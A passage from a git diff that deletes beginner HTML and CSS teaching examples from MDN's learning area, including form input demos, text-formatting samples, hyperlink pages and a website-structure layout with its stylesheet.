-                <li>
-                    <label for="website">Website:</label>
-                    <input type="url" id="website" name="website" />
-                </li>
-                <li>
-                    <label for="phone">Phone number:</label>
-                    <input type="tel" id="phone" name="phone" />
-                </li>
-                <li>
-                    <label for="food">Favorite food:</label>
-                    <select name="food" id="food">
-                        <option>Salad</option>
-                        <option>Curry</option>
-                        <option>Pizza</option>
-                        <option>Fajitas</option>
-                    </select>
-                </li>
-                <li>
-                    <button>Update preferences</button>
-                </li>
-            </ul>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/tel-example/index.html b/docs/content/learning-area/html/forms/tel-example/index.html
deleted file mode 100644
index 748b7616d6..0000000000
--- a/docs/content/learning-area/html/forms/tel-example/index.html
+++ /dev/null
@@ -1,111 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>&lt;input type="tel"&gt; example</title>
-        <style>
-            div {
-                margin-bottom: 10px;
-                position: relative;
-            }
-
-            input[type='number'] {
-                width: 100px;
-            }
-
-            input + span {
-                padding-right: 30px;
-            }
-
-            input:invalid + span:after {
-                position: absolute;
-                content: '✖';
-                padding-left: 5px;
-            }
-
-            input:valid + span:after {
-                position: absolute;
-                content: '✓';
-                padding-left: 5px;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <div>
-                <label for="country">Choose your country:</label>
-                <select id="country" name="country">
-                    <option>UK</option>
-                    <option selected>US</option>
-                    <option>Germany</option>
-                </select>
-            </div>
-            <div>
-                <p>Enter your telephone number:</p>
-                <span class="areaDiv">
-                    <input id="areaNo" name="areaNo" type="tel" required placeholder="Area code" pattern="[0-9]{3}" aria-label="Area code" />
-                    <span class="validity"></span>
-                </span>
-                <span class="number1Div">
-                    <input id="number1" name="number1" type="tel" required placeholder="First part" pattern="[0-9]{3}" aria-label="First part of number" />
-                    <span class="validity"></span>
-                </span>
-                <span class="number2Div">
-                    <input id="number2" name="number2" type="tel" required placeholder="Second part" pattern="[0-9]{4}" aria-label="Second part of number" />
-                    <span class="validity"></span>
-                </span>
-            </div>
-            <div>
-                <button>Submit</button>
-            </div>
-        </form>
-        <script>
-            var selectElem = document.querySelector('select');
-            var inputElems = document.querySelectorAll('input');
-
-            selectElem.onchange = function () {
-                for (var i = 0; i < inputElems.length; i++) {
-                    inputElems[i].value = '';
-                }
-
-                if (selectElem.value === 'US') {
-                    inputElems[2].parentNode.style.display = 'inline';
-
-                    inputElems[0].placeholder = 'Area code';
-                    inputElems[0].pattern = '[0-9]{3}';
-
-                    inputElems[2].placeholder = 'First part';
-                    inputElems[1].pattern = '[0-9]{3}';
-                    inputElems[1].setAttribute('aria-label', 'First part of number');
-
-                    inputElems[2].placeholder = 'Second part';
-                    inputElems[2].pattern = '[0-9]{4}';
-                    inputElems[2].setAttribute('aria-label', 'Second part of number');
-                } else if (selectElem.value === 'UK') {
-                    inputElems[2].parentNode.style.display = 'none';
-
-                    inputElems[0].placeholder = 'Area code';
-                    inputElems[0].pattern = '[0-9]{3,6}';
-
-                    inputElems[1].placeholder = 'Local number';
-                    inputElems[1].pattern = '[0-9]{4,8}';
-                    inputElems[1].setAttribute('aria-label', 'Local number');
-                } else if (selectElem.value === 'Germany') {
-                    inputElems[2].parentNode.style.display = 'inline';
-
-                    inputElems[0].placeholder = 'Area code';
-                    inputElems[0].pattern = '[0-9]{3,5}';
-
-                    inputElems[1].placeholder = 'First part';
-                    inputElems[1].pattern = '[0-9]{2,4}';
-                    inputElems[1].setAttribute('aria-label', 'First part of number');
-
-                    inputElems[2].placeholder = 'Second part';
-                    inputElems[2].pattern = '[0-9]{4}';
-                    inputElems[2].setAttribute('aria-label', 'Second part of number');
-                }
-            };
-        </script>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/text-example/index.html b/docs/content/learning-area/html/forms/text-example/index.html
deleted file mode 100644
index a447220ed2..0000000000
--- a/docs/content/learning-area/html/forms/text-example/index.html
+++ /dev/null
@@ -1,53 +0,0 @@
-<!DOCTYPE html>
-<html>
-
-<head>
-  <meta charset="utf-8">
-  <title>&lt;input type="text"&gt; example</title>
-  <style>
-    div {
-      margin-bottom: 10px;
-      position: relative;
-    }
-
-    input[type="number"] {
-      width: 100px;
-    }
-
-    input+span {
-      padding-right: 30px;
-    }
-
-    input:invalid+span:after {
-      position: absolute;
-      content: '✖';
-      padding-left: 5px;
-    }
-
-    input:valid+span:after {
-      position: absolute;
-      content: '✓';
-      padding-left: 5px;
-    }
-
-  </style>
-</head>
-
-<body>
-  <form>
-    <div>
-      <label for="uname">Choose a username: </label>
-      <input type="text" id="uname" name="name" required placeholder="lowercase, 4-8 characters" pattern="[a-z]{4,8}">
-    </div>
-    <span class="validity"></span>
-    </div>
-    <div>
-      <button>Submit</button>
-    </div>
-  </form>
-  <script>
-
-  </script>
-</body>
-
-</html>
diff --git a/docs/content/learning-area/html/forms/time-example/index.html b/docs/content/learning-area/html/forms/time-example/index.html
deleted file mode 100644
index 3c29add488..0000000000
--- a/docs/content/learning-area/html/forms/time-example/index.html
+++ /dev/null
@@ -1,46 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Time example</title>
-        <style>
-            div {
-                margin-bottom: 10px;
-                position: relative;
-            }
-
-            input[type='number'] {
-                width: 100px;
-            }
-
-            input + span {
-                padding-right: 30px;
-            }
-
-            input:invalid + span:after {
-                position: absolute;
-                content: '✖';
-                padding-left: 5px;
-            }
-
-            input:valid + span:after {
-                position: absolute;
-                content: '✓';
-                padding-left: 5px;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <div>
-                <label for="appt-time">Choose an appointment time (opening hours 12:00 to 18:00): </label>
-                <input id="appt-time" type="time" name="appt-time" min="12:00" max="18:00" required />
-                <span class="validity"></span>
-            </div>
-            <div>
-                <input type="submit" value="Submit form" />
-            </div>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/toggle-switch-example/index.html b/docs/content/learning-area/html/forms/toggle-switch-example/index.html
deleted file mode 100644
index e8d619013a..0000000000
--- a/docs/content/learning-area/html/forms/toggle-switch-example/index.html
+++ /dev/null
@@ -1,119 +0,0 @@
-<!DOCTYPE html>
-<html lang="en-US">
-    <head>
-        <meta charset="utf-8" />
-        <title>Toggle switch example</title>
-        <style>
-            * {
-                box-sizing: border-box;
-            }
-
-            /* Flexbox fu to make the control and label line up */
-
-            li {
-                width: 100px;
-                display: flex;
-                align-items: center;
-                justify-content: space-around;
-                position: relative;
-            }
-
-            /*
-         Size the label, and make the on and off parts sit on top
-         of one another using positioning
-      */
-
-            label {
-                width: 20px;
-                height: 20px;
-                line-height: 20px;
-                position: relative;
-            }
-
-            label span {
-                position: absolute;
-            }
-
-            /*
-         remove the default styling of the checkbox using appearance
-         and create the outer toggle area
-      */
-
-            input[type='checkbox'] {
-                -webkit-appearance: none;
-                appearance: none;
-                width: 44px;
-                height: 24px;
-                border-radius: 12px;
-                border: 2px solid black;
-                background: #eee;
-                transition: all 0.4s;
-            }
-
-            /*
-         style the ::before content to look like
-         the inner toggle switch - the bit that moves
-      */
-
-            input[type='checkbox']::before {
-                width: 16px;
-                height: 16px;
-                border-radius: 9px;
-                background-color: black;
-                content: '';
-                position: absolute;
-                top: 7px;
-                left: 16%;
-                transition: all 0.4s;
-            }
-
-            /*
-         change the outer background color and move the inner toggle switch
-         when the checkbox is checked; use transitions for smooth animation
-      */
-
-            input[type='checkbox']:checked {
-                background-color: #ffaa00;
-                transition: all 0.4s;
-            }
-
-            input[type='checkbox']:checked::before {
-                left: 35%;
-                transition: all 0.4s;
-            }
-
-            /*
-         cause the On and Off parts of the label to be visible when the checkbox is
-         checked and unchecked, respectively
-      */
-
-            input[type='checkbox'] ~ label .on,
-            input[type='checkbox']:checked ~ label .off {
-                opacity: 0;
-            }
-
-            input[type='checkbox'] ~ label .off,
-            input[type='checkbox']:checked ~ label .on {
-                opacity: 1;
-            }
-
-            /*
-         make the focus outline a bit more subtle on Chrome, rather than the
-         default heavy blue outline
-      */
-
-            input:focus {
-                outline: 1px dotted black;
-            }
-        </style>
-    </head>
-
-    <body>
-        <ul>
-            <li>
-                <input type="checkbox" name="power" id="power" />
-                <label for="power"><span class="on">On</span> <span class="off">Off</span></label>
-            </li>
-        </ul>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/url-example/index.html b/docs/content/learning-area/html/forms/url-example/index.html
deleted file mode 100644
index b71b352489..0000000000
--- a/docs/content/learning-area/html/forms/url-example/index.html
+++ /dev/null
@@ -1,52 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>&lt;input type="url"&gt; example</title>
-        <style>
-            div {
-                margin-bottom: 10px;
-                position: relative;
-            }
-
-            input[type='number'] {
-                width: 100px;
-            }
-
-            input + span {
-                padding-right: 30px;
-            }
-
-            input:invalid + span:after {
-                position: absolute;
-                content: '✖';
-                padding-left: 5px;
-            }
-
-            input:valid + span:after {
-                position: absolute;
-                content: '✓';
-                padding-left: 5px;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <div>
-                <label for="myURL">Enter the problem website address:</label>
-                <input id="myURL" name="myURL" type="url" required pattern=".*\.myco\..*" title="URL should be in a myco domain" />
-                <span class="validity"></span>
-            </div>
-            <div>
-                <label for="myComment">What is the problem?</label>
-                <input id="myComment" name="myComment" type="text" required />
-                <span class="validity"></span>
-            </div>
-            <div>
-                <button>Submit</button>
-            </div>
-        </form>
-        <script></script>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/week-example/index.html b/docs/content/learning-area/html/forms/week-example/index.html
deleted file mode 100644
index 5ff33fef6a..0000000000
--- a/docs/content/learning-area/html/forms/week-example/index.html
+++ /dev/null
@@ -1,46 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Week example</title>
-        <style>
-            div {
-                margin-bottom: 10px;
-                position: relative;
-            }
-
-            input[type='number'] {
-                width: 100px;
-            }
-
-            input + span {
-                padding-right: 30px;
-            }
-
-            input:invalid + span:after {
-                position: absolute;
-                content: '✖';
-                padding-left: 5px;
-            }
-
-            input:valid + span:after {
-                position: absolute;
-                content: '✓';
-                padding-left: 5px;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form>
-            <div>
-                <label for="week">What week would you like to start?</label>
-                <input id="week" type="week" name="week" min="2017-W01" max="2017-W52" required />
-                <span class="validity"></span>
-            </div>
-            <div>
-                <input type="submit" value="Submit form" />
-            </div>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/your-first-HTML-form/first-form-styled.html b/docs/content/learning-area/html/forms/your-first-HTML-form/first-form-styled.html
deleted file mode 100644
index 0e9aebe491..0000000000
--- a/docs/content/learning-area/html/forms/your-first-HTML-form/first-form-styled.html
+++ /dev/null
@@ -1,92 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Your first HTML form, styled</title>
-        <style>
-            form {
-                /* Just to center the form on the page */
-                margin: 0 auto;
-                width: 400px;
-                /* To see the outline of the form */
-                padding: 1em;
-                border: 1px solid #ccc;
-                border-radius: 1em;
-            }
-
-            ul {
-                list-style: none;
-                padding: 0;
-                margin: 0;
-            }
-
-            form li + li {
-                margin-top: 1em;
-            }
-
-            label {
-                /* To make sure that all labels have the same size and are properly aligned */
-                display: inline-block;
-                width: 90px;
-                text-align: right;
-            }
-
-            input,
-            textarea {
-                /* To make sure that all text fields have the same font settings By default, textareas have a monospace font */
-                font: 1em sans-serif;
-                /* To give the same size to all text fields */
-                width: 300px;
-                box-sizing: border-box;
-                /* To harmonize the look & feel of text field border */
-                border: 1px solid #999;
-            }
-
-            input:focus,
-            textarea:focus {
-                /* To give a little highlight on active elements */
-                border-color: #000;
-            }
-
-            textarea {
-                /* To properly align multiline text fields with their labels */
-                vertical-align: top;
-                /* To give enough room to type some text */
-                height: 5em;
-            }
-
-            .button {
-                /* To position the buttons to the same position of the text fields */
-                padding-left: 90px;
-                /* same size as the label elements */
-            }
-
-            button {
-                /* This extra margin represent roughly the same space as the space between the labels and their text fields */
-                margin-left: 0.5em;
-            }
-        </style>
-    </head>
-
-    <body>
-        <form action="/my-handling-form-page" method="post">
-            <ul>
-                <li>
-                    <label for="name">Name:</label>
-                    <input type="text" id="name" name="user_name" />
-                </li>
-                <li>
-                    <label for="mail">E-mail:</label>
-                    <input type="email" id="mail" name="user_mail" />
-                </li>
-                <li>
-                    <label for="msg">Message:</label>
-                    <textarea id="msg" name="user_message"></textarea>
-                </li>
-                <li class="button">
-                    <button type="submit">Send your message</button>
-                </li>
-            </ul>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/forms/your-first-HTML-form/first-form.html b/docs/content/learning-area/html/forms/your-first-HTML-form/first-form.html
deleted file mode 100644
index 9b0c676ddf..0000000000
--- a/docs/content/learning-area/html/forms/your-first-HTML-form/first-form.html
+++ /dev/null
@@ -1,29 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Your first HTML form</title>
-    </head>
-
-    <body>
-        <form action="/my-handling-form-page" method="post">
-            <ul>
-                <li>
-                    <label for="name">Name:</label>
-                    <input type="text" id="name" name="user_name" />
-                </li>
-                <li>
-                    <label for="mail">E-mail:</label>
-                    <input type="email" id="mail" name="user_mail" />
-                </li>
-                <li>
-                    <label for="msg">Message:</label>
-                    <textarea id="msg" name="user_message"></textarea>
-                </li>
-                <li class="button">
-                    <button type="submit">Send your message</button>
-                </li>
-            </ul>
-        </form>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/introduction-to-html/advanced-text-formatting/description-list.html b/docs/content/learning-area/html/introduction-to-html/advanced-text-formatting/description-list.html
deleted file mode 100644
index 8e127d8fc0..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/advanced-text-formatting/description-list.html
+++ /dev/null
@@ -1,24 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Description list example</title>
-    </head>
-
-    <body>
-        <dl>
-            <dt>soliloquy</dt>
-            <dd>
-                In drama, where a character speaks to themselves, representing their inner thoughts or feelings and in the process relaying them to the audience
-                (but not to other characters.)
-            </dd>
-            <dt>monologue</dt>
-            <dd>In drama, where a character speaks their thoughts out loud to share them with the audience and any other characters present.</dd>
-            <dt>aside</dt>
-            <dd>
-                In drama, where a character shares a comment only with the audience for humorous or dramatic effect. This is usually a feeling, thought or piece
-                of addtional background information.
-            </dd>
-        </dl>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/introduction-to-html/advanced-text-formatting/other-semantics.html b/docs/content/learning-area/html/introduction-to-html/advanced-text-formatting/other-semantics.html
deleted file mode 100644
index 24e5ee861a..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/advanced-text-formatting/other-semantics.html
+++ /dev/null
@@ -1,39 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Other semantics examples</title>
-    </head>
-
-    <body>
-        <p>We use <abbr title="Hypertext Markup Language">HTML</abbr> to structure our web documents.</p>
-
-        <p>I think <abbr title="Reverend">Rev.</abbr> Green did it in the kitchen with the chainsaw.</p>
-
-        <address>
-            <p>Chris Mills, Manchester, The Grim North, UK</p>
-        </address>
-
-        <p>My birthday is on the 25<sup>th</sup> of May 2001.</p>
-
-        <p>Caffeine's chemical formula is C<sub>8</sub>H<sub>10</sub>N<sub>4</sub>O<sub>2</sub>.</p>
-
-        <p>If x<sup>2</sup> is 9, x must equal 3.</p>
-
-        <pre><code>var para = document.querySelector('p');
-
-para.onclick = function() {
-  alert('Owww, stop poking me!');
-}</code></pre>
-
-        <p>You shouldn't use presentational elements like <code>&lt;font&gt;</code> and <code>&lt;center&gt;</code>.</p>
-
-        <p>In the above JavaScript example, <var>para</var> represents a paragraph element.</p>
-
-        <p>Select all the text with <kbd>Ctrl</kbd>/<kbd>Cmd</kbd> + <kbd>A</kbd>.</p>
-
-        <pre>$ <kbd>ping mozilla.org</kbd>
-<samp>PING mozilla.org (63.245.215.20): 56 data bytes
-64 bytes from 63.245.215.20: icmp_seq=0 ttl=40 time=158.233 ms</samp></pre>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/introduction-to-html/advanced-text-formatting/quotations.html b/docs/content/learning-area/html/introduction-to-html/advanced-text-formatting/quotations.html
deleted file mode 100644
index d9abe88d3b..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/advanced-text-formatting/quotations.html
+++ /dev/null
@@ -1,28 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Quote examples</title>
-    </head>
-
-    <body>
-        <p>
-            According to the <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote"> <cite>MDN blockquote page</cite></a
-            >:
-        </p>
-
-        <blockquote cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/blockquote">
-            <p>
-                The <strong>HTML <code>&lt;blockquote&gt;</code> Element</strong> (or <em>HTML Block Quotation Element</em>) indicates that the enclosed text is
-                an extended quotation.
-            </p>
-        </blockquote>
-
-        <p>
-            The quote element — <code>&lt;q&gt;</code> — is
-            <q cite="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q">intended for short quotations that don't require paragraph breaks.</q> --
-            <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/q"><cite>MDN q page</cite></a
-            >.
-        </p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/introduction-to-html/creating-hyperlinks/contacts.html b/docs/content/learning-area/html/introduction-to-html/creating-hyperlinks/contacts.html
deleted file mode 100644
index f249f13ab7..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/creating-hyperlinks/contacts.html
+++ /dev/null
@@ -1,24 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>My contacts page</title>
-    </head>
-
-    <body>
-        <h1>This is my contacts page</h1>
-
-        <p>The <a href="#Mailing_address">company mailing address</a> can be found at the bottom of this page.</p>
-
-        <p>Chris is the only guy that works here, and he doesn't have a phone.</p>
-
-        <h2 id="Mailing_address"></h2>
-
-        <address>
-            52 Business street<br />
-            Very important town<br />
-            Commerce city<br />
-            CA, 999654
-        </address>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/introduction-to-html/creating-hyperlinks/index.html b/docs/content/learning-area/html/introduction-to-html/creating-hyperlinks/index.html
deleted file mode 100644
index fbfc614406..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/creating-hyperlinks/index.html
+++ /dev/null
@@ -1,17 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>My sample homepage</title>
-    </head>
-
-    <body>
-        <h1>This is my sample homepage</h1>
-
-        <p>Visit my <a href="projects/index.html">project homepage</a>.</p>
-
-        <p>Want to contact a specific staff member? Find details on our <a href="contacts.html">contacts page</a>.</p>
-
-        <p>Want to write us a letter? Use our <a href="contacts.html#Mailing_address">mailing address</a>.</p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/introduction-to-html/creating-hyperlinks/pdfs/project-brief.pdf b/docs/content/learning-area/html/introduction-to-html/creating-hyperlinks/pdfs/project-brief.pdf
deleted file mode 100644
index 25b16185b8..0000000000
Binary files a/docs/content/learning-area/html/introduction-to-html/creating-hyperlinks/pdfs/project-brief.pdf and /dev/null differ
diff --git a/docs/content/learning-area/html/introduction-to-html/creating-hyperlinks/projects/index.html b/docs/content/learning-area/html/introduction-to-html/creating-hyperlinks/projects/index.html
deleted file mode 100644
index 2933e5bf64..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/creating-hyperlinks/projects/index.html
+++ /dev/null
@@ -1,13 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>My project page</title>
-    </head>
-
-    <body>
-        <h1>This is my project page</h1>
-
-        <p>A link to my <a href="../pdfs/project-brief.pdf">project brief</a>.</p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/introduction-to-html/debugging-html/debug-example-fixed.html b/docs/content/learning-area/html/introduction-to-html/debugging-html/debug-example-fixed.html
deleted file mode 100644
index f321c398aa..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/debugging-html/debug-example-fixed.html
+++ /dev/null
@@ -1,32 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-
-        <title>HTML debugging examples</title>
-
-        <!--[if lt IE 9]>
-            <script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.js"></script>
-        <![endif]-->
-    </head>
-
-    <body>
-        <h1>HTML debugging examples</h1>
-
-        <p>What causes errors in HTML?</p>
-
-        <ul>
-            <li>Unclosed elements: If an element is <strong>not closed properly</strong>, then its effect can spread to areas you didn't intend</li>
-
-            <li>
-                Badly nested elements: Nesting elements properly is also very important for code behaving correctly.
-                <strong>strong <em>strong emphasised?</em></strong> what is this?
-            </li>
-
-            <li>
-                Unclosed attributes: Another common source of HTML problems. Let's look at an example:
-                <a href="https://www.mozilla.org/">link to Mozilla homepage</a>
-            </li>
-        </ul>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/introduction-to-html/debugging-html/debug-example.html b/docs/content/learning-area/html/introduction-to-html/debugging-html/debug-example.html
deleted file mode 100644
index 389356a345..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/debugging-html/debug-example.html
+++ /dev/null
@@ -1,29 +0,0 @@
-<!DOCTYPE html>
-<html>
-
-<head>
-  <meta charset="utf-8">
-
-  <title>HTML debugging examples</title>
-
-  <!--[if lt IE 9]>
-      <script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.js"></script>
-    <![endif]-->
-</head>
-
-<body>
-  <h1>HTML debugging examples</h1>
-
-  <p>What causes errors in HTML?
-
-    <ul>
-      <li>Unclosed elements: If an element is <strong>not closed properly, then its effect can spread to areas you
-          didn't intend
-
-      <li>Badly nested elements: Nesting elements properly is also very important for code behaving correctly.
-        <strong>strong <em>strong emphasised?</strong> what is this?</em>
-
-      <li>Unclosed attributes: Another common source of HTML problems. Let's look at an example: <a href="https://www.mozilla.org/>link to Mozilla homepage</a>
-    </ul>
-  </body>
-</html>
diff --git a/docs/content/learning-area/html/introduction-to-html/document_and_website_structure/index.html b/docs/content/learning-area/html/introduction-to-html/document_and_website_structure/index.html
deleted file mode 100644
index f1520e69c9..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/document_and_website_structure/index.html
+++ /dev/null
@@ -1,96 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-
-        <title>My page title</title>
-        <link href="https://fonts.googleapis.com/css?family=Open+Sans+Condensed:300|Sonsie+One" rel="stylesheet" type="text/css" />
-        <link rel="stylesheet" href="style.css" />
-
-        <!-- the below three lines are a fix to get HTML5 semantic elements working in old versions of Internet Explorer-->
-        <!--[if lt IE 9]>
-            <script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.js"></script>
-        <![endif]-->
-    </head>
-
-    <body>
-        <!-- Here is our main header that is used across all the pages of our website -->
-
-        <header>
-            <h1>Header</h1>
-        </header>
-
-        <nav>
-            <ul>
-                <li><a href="#">Home</a></li>
-                <li><a href="#">Our team</a></li>
-                <li><a href="#">Projects</a></li>
-                <li><a href="#">Contact</a></li>
-            </ul>
-
-            <!-- A Search form is another common non-linear way to navigate through a website. -->
-
-            <form>
-                <input type="search" name="q" placeholder="Search query" />
-                <input type="submit" value="Go!" />
-            </form>
-        </nav>
-
-        <!-- Here is our page's main content -->
-        <main>
-            <!-- It contains an article -->
-            <article>
-                <h2>Article heading</h2>
-
-                <p>
-                    Lorem ipsum dolor sit amet, consectetur adipisicing elit. Donec a diam lectus. Set sit amet ipsum mauris. Maecenas congue ligula as quam
-                    viverra nec consectetur ant hendrerit. Donec et mollis dolor. Praesent et diam eget libero egestas mattis sit amet vitae augue. Nam
-                    tincidunt congue enim, ut porta lorem lacinia consectetur.
-                </p>
-
-                <h3>subsection</h3>
-
-                <p>
-                    Donec ut librero sed accu vehicula ultricies a non tortor. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aenean ut gravida
-                    lorem. Ut turpis felis, pulvinar a semper sed, adipiscing id dolor.
-                </p>
-
-                <p>
-                    Pelientesque auctor nisi id magna consequat sagittis. Curabitur dapibus, enim sit amet elit pharetra tincidunt feugiat nist imperdiet. Ut
-                    convallis libero in urna ultrices accumsan. Donec sed odio eros.
-                </p>
-
-                <h3>Another subsection</h3>
-
-                <p>
-                    Donec viverra mi quis quam pulvinar at malesuada arcu rhoncus. Cum soclis natoque penatibus et manis dis parturient montes, nascetur
-                    ridiculus mus. In rutrum accumsan ultricies. Mauris vitae nisi at sem facilisis semper ac in est.
-                </p>
-
-                <p>
-                    Vivamus fermentum semper porta. Nunc diam velit, adipscing ut tristique vitae sagittis vel odio. Maecenas convallis ullamcorper ultricied.
-                    Curabitur ornare, ligula semper consectetur sagittis, nisi diam iaculis velit, is fringille sem nunc vet mi.
-                </p>
-            </article>
-
-            <!-- the aside content can also be nested within the main content -->
-            <aside>
-                <h2>Related</h2>
-
-                <ul>
-                    <li><a href="#">Oh I do like to be beside the seaside</a></li>
-                    <li><a href="#">Oh I do like to be beside the sea</a></li>
-                    <li><a href="#">Although in the North of England</a></li>
-                    <li><a href="#">It never stops raining</a></li>
-                    <li><a href="#">Oh well...</a></li>
-                </ul>
-            </aside>
-        </main>
-
-        <!-- And here is our main footer that is used across all the pages of our website -->
-
-        <footer>
-            <p>©Copyright 2050 by nobody. All rights reversed.</p>
-        </footer>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/introduction-to-html/document_and_website_structure/style.css b/docs/content/learning-area/html/introduction-to-html/document_and_website_structure/style.css
deleted file mode 100644
index 00939ae162..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/document_and_website_structure/style.css
+++ /dev/null
@@ -1,142 +0,0 @@
-/* || General setup */
-
-html,
-body {
-    margin: 0;
-    padding: 0;
-}
-
-html {
-    font-size: 10px;
-    background-color: #a9a9a9;
-}
-
-body {
-    width: 70%;
-    margin: 0 auto;
-}
-
-/* || typography */
-
-h1,
-h2,
-h3 {
-    font-family: 'Sonsie One', cursive;
-    color: #2a2a2a;
-}
-
-p,
-input,
-li {
-    font-family: 'Open Sans Condensed', sans-serif;
-    color: #2a2a2a;
-}
-
-h1 {
-    font-size: 4rem;
-    text-align: center;
-    color: white;
-    text-shadow: 2px 2px 10px black;
-}
-
-h2 {
-    font-size: 3rem;
-    text-align: center;
-}
-
-h3 {
-    font-size: 2.2rem;
-}
-
-p,
-li {
-    font-size: 1.6rem;
-    line-height: 1.5;
-}
-
-/* || header layout */
-
-nav,
-article,
-aside,
-footer {
-    background-color: white;
-    padding: 1%;
-}
-
-nav {
-    height: 50px;
-    background-color: #ff80ff;
-    display: flex;
-    margin-bottom: 10px;
-}
-
-nav ul {
-    padding: 0;
-    list-style-type: none;
-    flex: 2;
-    display: flex;
-}
-
-nav li {
-    display: inline;
-    text-align: center;
-    flex: 1;
-}
-
-nav a {
-    display: inline-block;
-    font-size: 2rem;
-    text-transform: uppercase;
-    text-decoration: none;
-    color: black;
-}
-
-nav form {
-    flex: 1;
-    display: flex;
-    align-items: center;
-    height: 100%;
-    padding: 0 2em;
-}
-
-input {
-    font-size: 1.6rem;
-    height: 32px;
-}
-
-input[type='search'] {
-    flex: 3;
-}
-
-input[type='submit'] {
-    flex: 1;
-    margin-left: 1rem;
-    background: #333;
-    border: 0;
-    color: white;
-}
-
-/* || main layout */
-
-main {
-    display: flex;
-}
-
-article {
-    flex: 4;
-}
-
-aside {
-    flex: 1;
-    margin-left: 10px;
-    background-color: #ff80ff;
-}
-
-aside li {
-    padding-bottom: 10px;
-}
-
-footer {
-    margin-top: 10px;
-}
diff --git a/docs/content/learning-area/html/introduction-to-html/getting-started/index.html b/docs/content/learning-area/html/introduction-to-html/getting-started/index.html
deleted file mode 100644
index 6a655a6cce..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/getting-started/index.html
+++ /dev/null
@@ -1,11 +0,0 @@
-<!DOCTYPE html>
-<html lang="en-US">
-    <head>
-        <meta charset="utf-8" />
-        <title>My test page</title>
-    </head>
-
-    <body>
-        <p>This is my page</p>
-    </body>
-</html>
diff --git a/docs/content/learning-area/html/introduction-to-html/html-text-formatting/text-complete.html b/docs/content/learning-area/html/introduction-to-html/html-text-formatting/text-complete.html
deleted file mode 100644
index ee52dcef48..0000000000
--- a/docs/content/learning-area/html/introduction-to-html/html-text-formatting/text-complete.html
+++ /dev/null
@@ -1,52 +0,0 @@
-<!DOCTYPE html>
-<html>
-    <head>
-        <meta charset="utf-8" />
-        <title>Quick hummus recipe</title>
-    </head>
-
-    <body>
-        <h1>Quick hummus recipe</h1>
-
-        <p>This recipe makes quick, tasty hummus, with no messing. It has been adapted from a number of different recipes that I have read over the years.</p>
-
-        <p>hummus is a delicious thick paste used heavily in Greek and Middle Eastern dishes. It is very tasty with salad, grilled meats and pitta breads.</p>
-
-        <h2>Ingredients</h2>
-
-        <ul>
-            <li>1 can (400g) of chick peas (garbanzo beans)</li>
-            <li>175g of tahini</li>
-            <li>6 sundried tomatoes</li>
-            <li>Half a red pepper</li>
-            <li>A pinch of cayenne pepper</li>
-            <li>1 clove of garlic</li>
-            <li>A dash of olive oil</li>
-        </ul>
-
-        <h2>Instructions</h2>
-
-        <ol>
-            <li>Remove the skin from the garlic, and chop coarsely.</li>
-            <li>Remove all the seeds and stalk from the pepper, and chop coarsely.</li>
